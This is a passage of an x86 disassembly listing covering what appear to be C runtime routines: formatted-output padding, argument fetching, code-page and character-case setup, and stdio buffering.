loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DCDA4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43CC00 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43CCF0 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28B0000h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DCEC0 cmp [ebp+var_18], 1 mov dword_4DCDA4, esi rep stosd stosb mov dword_4DCFC4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DCEC1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DCEC0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43CC10[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43CBF8[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DCEC1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DCDBC, 1 push eax mov dword_4DCDA4, eax call sub_42008C lea esi, dword_43CC04[esi] mov edi, offset dword_4DCDB0 movsd movsd pop ecx mov dword_4DCFC4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DCEC1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DCFC4, eax mov dword_4DCDBC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DCDBC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DCDB0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB9E0, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB9E0, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB9E0, 1 nop jmp near ptr 26608FCh ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB9E0, 1 nop jmp near ptr 28B06A9h ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DBA24 mov dword_4DB9E0, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DCEC0 rep stosd stosb xor eax, eax mov edi, offset dword_4DCDB0 mov dword_4DCDA4, eax mov dword_4DCDBC, eax mov dword_4DCFC4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DCDA4 nop call near ptr 28B0000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DCFC4 push dword_4DCDA4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DCDA4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DCFC4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DCDA4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DCFC4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DCEC1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DCDC0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DCEC1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DCDC0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DCEC1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DCDC0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DCEC1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DCDC0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DCFF4, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DCFF4, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DCDBC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DCEC1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBA14, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43CBE4, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C9D8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DBA14 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB95C, ecx mov eax, offset dword_43CCF0 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43CE58 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB958, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43CCF4[edx*8] mov dword_4DB958, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB958, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB958, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43D0E8 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43D108 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DBB40 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB9E4[eax*4], 0 push ebx push edi lea edi, ds:4DB9E4h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = 